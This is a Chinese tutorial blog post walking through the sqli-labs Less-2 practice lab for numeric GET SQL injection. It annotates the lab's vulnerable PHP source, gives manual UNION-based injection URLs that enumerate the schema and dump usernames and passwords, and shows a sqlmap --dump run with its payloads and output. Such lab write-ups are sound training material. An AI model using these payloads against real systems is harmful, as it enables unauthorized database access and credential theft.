sqli-labs通关笔记-第02关 GET数值型注入(手工注入+脚本注入两种方法)

发布于:2025-07-19 ⋅ 阅读:(22) ⋅ 点赞:(0)

目录

一、数字型注入

二、limit函数

三、源码分析

1、代码审计

2、SQL注入安全分析

二、渗透实战

1、进入靶场

2、注入点分析

(1)SQL语句

(2)注入点id 

3、手工注入

(1)获取列数

(2)获取回显位

(3)获取数据库名

(4)获取表名

(5)获取列名

(6)获取数据

4、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节通过手工注入和脚本法共两种方法对第02关Less 02基于数字型的SQL注入关卡进行渗透实战。  

一、数字型注入

数字型注入是 SQL 注入的一种,攻击对象是接收数字参数且未严格校验的 SQL 语句。攻击者通过输入特殊数值(如1 or 1=1#)篡改 SQL 逻辑,无需闭合引号。例如原语句WHERE id = 1可能被改为WHERE id = 1 or 1=1#,导致无条件返回所有数据。

对比项 字符型注入 数字型注入
参数类型 字符串(需单引号包裹) 数字(无需引号)
注入方式 闭合单引号'等符号并注入代码 直接注入特殊数值(如1 OR 1=1
典型示例 ' OR '1'='1 1 OR 1=1
生成的恶意 SQL WHERE name = '' OR '1'='1' WHERE id = 1 OR 1=1
风险点 未转义单引号 未校验输入是否为合法数字
防御重点 预编译语句 + 转义单引号 预编译语句 + 严格数值验证

二、limit函数

Limit是 SQL 中用于限制查询结果数量的子句,不是真正的函数。Limit通常有两种常见形式,具体如下所示。

  • 单参数形式LIMIT n

    • 返回前 n 条记录

    • 示例:LIMIT 5 返回前5条结果

  • 双参数形式LIMIT offset, count

    • offset:跳过的记录数(从0开始)

    • count:要返回的记录数

    • 示例:LIMIT 10, 5 跳过前10条,返回接下来的5条

举例:SQL语句“SELECT * FROM users WHERE id=$id LIMIT 0,1”中的LIMIT 0,1"表示获取第一条匹配的记录",LIMIT0,1的具体含义如下所示。

  • 从第0条记录开始(即不跳过任何记录)

  • 只返回1条记录

三、源码分析

1、代码审计

本关卡Less02是基于数字型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less02关卡的源码功能是通过未过滤的GET参数id(整数型)直接拼接SQL语句,可查询并显示指定用户的登录名和密码。相对于第一关,区别主要包括两点,其一是id的类型由字符型变为了数值型,其二是取消了原始SQL调用语句的打印,具体对比如下所示。

详细注释后的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title> <!-- 页面标题表明这是基于错误的整型注入测试 -->
</head>

<body bgcolor="#000000"> <!-- 设置黑色背景 -->

<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">
Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"> <!-- 黄色文字显示区域 -->

<?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭错误报告
error_reporting(0);

// 检查是否有id参数传入
if(isset($_GET['id']))
{
    $id=$_GET['id']; // 直接获取用户输入的ID值
    
    // 记录用户输入的ID到日志文件(安全审计用)
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    // 构造SQL查询语句 - 存在严重SQL注入安全问题
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; // 直接拼接用户输入
    
    // 执行SQL查询
    $result=mysqli_query($con1, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);

    if($row) // 如果查询到结果
    {
        echo "<font size='5' color= '#99FF00'>";
        echo 'Your Login name:'. $row['username']; // 显示用户名
        echo "<br>";
        echo 'Your Password:' .$row['password'];  // 显示密码(实际应用中绝不应该明文显示密码)
        echo "</font>";
    }
    else // 查询失败时
    {
        echo '<font color= "#FFFF00">';
        print_r(mysqli_error($con1)); // 显示数据库错误信息(安全隐患)
        echo "</font>";  
    }
}
else // 没有收到id参数时
{       
    echo "Please input the ID as parameter with numeric value"; // 提示用户输入数字ID
}
?>
</font> </div><br><br><br>
<center>
<img src="../images/Less-2.jpg" /></center> <!-- 页面底部图片 -->
</body>
</html>

这是一个存在高危SQL注入安全问题的用户信息查询页面,主要功能是:

  • 接收用户通过URL传递的id参数(如?id=1),相对于上一关卡参数由字符型变为数字型。

  • 将所有查询记录写入result.txt日志文件。

  • 构造并执行动态SQL查询语句"SELECT * FROM users WHERE id=$id LIMIT 0,1"。

  • 显示查询结果(用户名和密码)。

  • 查询失败时显示数据库错误详情。

  • 未提供参数时显示输入提示。

2、SQL注入安全分析

这个代码存在严重的SQL注入安全问题,原因如下所示。

  • 未过滤的用户输入:直接将$_GET['id']拼接到SQL语句中,没有任何过滤或转义处理。

  • 整数型注入安全风险:SQL查询使用单引号包裹用户输入(id=$id),攻击者可以不通过闭合直接注入恶意代码。

  • 错误信息显示:当查询出错时,代码通过print_r(mysqli_error($con1))显示MySQL错误信息,这有助于攻击者进行基于错误的SQL注入。

二、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://127.0.0.1/sqli-labs/

其中第2关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

http://127.0.0.1/sqli-labs/#fm_imagemap

点击上图红框的Less02关卡,进入到靶场的第02关卡数字型注入关,页面提示“Please input the ID as parameter with numeric value”,具体如下所示。

http://127.0.0.1/sqli-labs/Less-2/

2、注入点分析

(1)SQL语句

根据源码分析可知,本关卡基于GET方法传入参数id,并未对id进行任何过滤,故而注入点位id。SQL语句的含义是根据用户提供的ID值(整数型)从users表中查询并返回匹配的用户记录的所有字段信息,且仅返回第一条匹配结果,具体代码如下所示。

$id=$_GET['id'];
sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

根据 id=$id可知传入参数直接被赋值,无需单引号或者双引号等闭合方式,故而SQL注入为数值型型注入。

(2)注入点id 

根据上一步我们分析注入点为id,我们首先使用id=1进行探测,完整URL如下所示。

http://127.0.0.1/sqli-labs/Less-2/?id=1

尝试万能注入语句“ or 1=1 -- ”,注意URL编码后为空格的URL编码为“+”,如下为完整URL。

http://127.0.0.1/sqli-labs/Less-2/?id=1 or 1=1 --+

如下所示渗透结果是渗透成功,但是由于limit 0,1,只显示第一个id的内容。

尝试查找失败的完整注入语句“ and 1=2 -- ”,注意URL编码后为空格的URL编码为“+”,如下为完整URL,渗透结果是查找失败。 

http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2 --+

如下所示查找失败,“and 1=2”这个命令使得必然查找失败,页面没有显示结果。 

3、手工注入

(1)获取列数

如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。

http://192.168.59.1/sqli-labs/Less-2/?id=1 ORDER BY 4--+
http://192.168.59.1/sqli-labs/Less-2/?id=1 ORDER BY 3--+

(2)获取回显位

如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。

http://192.168.59.1/sqli-labs/Less-2/?id=-1 UNION SELECT 1,2,3--+

(3)获取数据库名

如下所示,数据库的名称为“security”。

http://192.168.59.1/sqli-labs/Less-2/?id=-1 UNION SELECT 1,DATABASE(),3--+

(4)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-2/?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+

(5)获取列名

如下所示,数据库users表的列名分别为id,username,password。

http://192.168.59.1/sqli-labs/Less-2/?id=-1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--+

(6)获取数据

最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-2/?id=-1 UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--+

4、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -u http://192.168.59.1/sqli-labs/Less-2/?id=1 --current-db --dump --batch

sqlmap渗透成功,可以通过联合查询、报错法、布尔盲注、时间盲注四种方法渗透成功,具体信息如下所示。

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 5701=5701

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1 AND GTID_SUBSET(CONCAT(0x7162717a71,(SELECT (ELT(6391=6391,1))),0x717a7a7871),6391)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 1251 FROM (SELECT(SLEEP(5)))jXfs)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-7207 UNION ALL SELECT NULL,NULL,CONCAT(0x7162717a71,0x7272644d5456685073615447665149424d526163416b6a464c4571786f7250764941594850494852,0x717a7a7871)-- -
---
[22:34:54] [INFO] fetching current database
[22:34:54] [INFO] fetching tables for database: 'security'
[22:34:54] [INFO] fetching columns for table 'uagents' in database 'security'
[22:34:54] [INFO] fetching entries for table 'uagents' in database 'security'
[22:34:54] [INFO] fetching number of entries for table 'uagents' in database 'security'
[22:34:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:34:54] [INFO] retrieved: 0
[22:34:54] [WARNING] table 'uagents' in database 'security' appears to be empty
Database: security

Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+

网站公告

今日签到

点亮在社区的每一天
去签到